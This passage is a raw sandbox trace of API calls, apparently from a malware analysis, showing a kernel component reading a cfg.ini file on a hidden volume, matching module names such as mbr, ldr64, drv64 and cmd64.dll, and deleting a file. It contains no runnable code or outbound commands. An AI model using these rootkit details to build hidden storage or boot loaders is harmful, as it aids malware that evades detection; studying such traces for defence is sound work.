nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.227] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.227] KeEnterCriticalRegion () [0123.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.227] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.227] IdePortDispatch () returned 0x103 [0123.227] KeWaitForMutexObject () returned 0x0 [0123.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.227] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.227] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.227] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.227] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.227] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea800 [0123.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.227] KeLeaveCriticalRegion () [0123.227] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.227] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.227] KeEnterCriticalRegion () [0123.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.227] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.227] KeLeaveCriticalRegion () [0123.228] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.228] KeEnterCriticalRegion () [0123.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.228] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.228] IdePortDispatch () returned 0x103 [0123.228] KeWaitForMutexObject () returned 0x0 [0123.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.228] KeLeaveCriticalRegion () [0123.228] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.228] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.228] KeEnterCriticalRegion () [0123.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df4000 [0123.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.228] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.228] IdePortDispatch () returned 0x103 [0123.228] KeWaitForMutexObject () returned 0x0 [0123.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.229] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.229] IdePortDispatch () returned 0x103 [0123.229] KeWaitForMutexObject () returned 0x0 [0123.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.229] KeLeaveCriticalRegion () [0123.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.229] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.229] KeEnterCriticalRegion () [0123.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.229] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.229] KeLeaveCriticalRegion () [0123.229] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.229] KeEnterCriticalRegion () [0123.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.229] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.229] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.229] KeLeaveCriticalRegion () [0123.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.229] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.230] KeEnterCriticalRegion () [0123.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.230] ExFreePoolWithTag (P=0xfffffa8003bea800, Tag=0x0) [0123.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.230] KeLeaveCriticalRegion () [0123.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.230] ReleaseMutex (hMutex=0xf0) returned 1 [0123.230] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.230] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.230] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.230] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.230] KeEnterCriticalRegion () [0123.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.230] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.230] IdePortDispatch () returned 0x103 [0123.230] KeWaitForMutexObject () returned 0x0 [0123.230] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.230] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.230] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.230] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.230] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.230] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.230] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.230] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.230] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.230] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.230] KeLeaveCriticalRegion () [0123.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.230] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.231] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.231] KeEnterCriticalRegion () [0123.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.231] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.231] IdePortDispatch () returned 0x103 [0123.231] KeWaitForMutexObject () returned 0x0 [0123.231] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.231] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.231] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.231] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.231] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.231] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.231] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.231] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.231] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.231] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.231] KeLeaveCriticalRegion () [0123.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.231] ReleaseMutex (hMutex=0x100) returned 1 [0123.231] Sleep (dwMilliseconds=0x2bf20) [0123.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ca70650, dwHighDateTime=0x1d24fa4)) [0123.237] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.237] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.237] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.238] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.238] KeEnterCriticalRegion () [0123.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.238] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.238] IdePortDispatch () returned 0x103 [0123.238] KeWaitForMutexObject () returned 0x0 [0123.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.238] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.238] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.238] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.238] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.238] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea450 [0123.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.238] KeLeaveCriticalRegion () [0123.238] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.238] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.238] KeEnterCriticalRegion () [0123.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.238] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.238] KeLeaveCriticalRegion () [0123.238] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.238] KeEnterCriticalRegion () [0123.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.238] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.238] IdePortDispatch () returned 0x103 [0123.238] KeWaitForMutexObject () returned 0x0 [0123.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.239] KeLeaveCriticalRegion () [0123.239] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.239] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.239] KeEnterCriticalRegion () [0123.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df7000 [0123.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.239] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.239] IdePortDispatch () returned 0x103 [0123.239] KeWaitForMutexObject () returned 0x0 [0123.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.239] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.239] IdePortDispatch () returned 0x103 [0123.239] KeWaitForMutexObject () returned 0x0 [0123.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.239] KeLeaveCriticalRegion () [0123.239] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.240] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.240] KeEnterCriticalRegion () [0123.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.240] KeLeaveCriticalRegion () [0123.240] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.240] KeEnterCriticalRegion () [0123.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.240] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.240] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.240] KeLeaveCriticalRegion () [0123.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.240] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.240] KeEnterCriticalRegion () [0123.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.240] ExFreePoolWithTag (P=0xfffffa8003bea450, Tag=0x0) [0123.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.240] KeLeaveCriticalRegion () [0123.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.240] ReleaseMutex (hMutex=0xf0) returned 1 [0123.240] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.240] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.240] KeEnterCriticalRegion () [0123.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.240] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.240] IdePortDispatch () returned 0x103 [0123.241] KeWaitForMutexObject () returned 0x0 [0123.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.241] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.241] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.241] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.241] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.241] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beafb0 [0123.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.241] KeLeaveCriticalRegion () [0123.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.241] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.241] KeEnterCriticalRegion () [0123.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.241] KeLeaveCriticalRegion () [0123.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.241] KeEnterCriticalRegion () [0123.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.241] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.241] IdePortDispatch () returned 0x103 [0123.241] KeWaitForMutexObject () returned 0x0 [0123.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.241] KeLeaveCriticalRegion () [0123.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.241] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.242] KeEnterCriticalRegion () [0123.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df8000 [0123.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.242] IdePortDispatch () 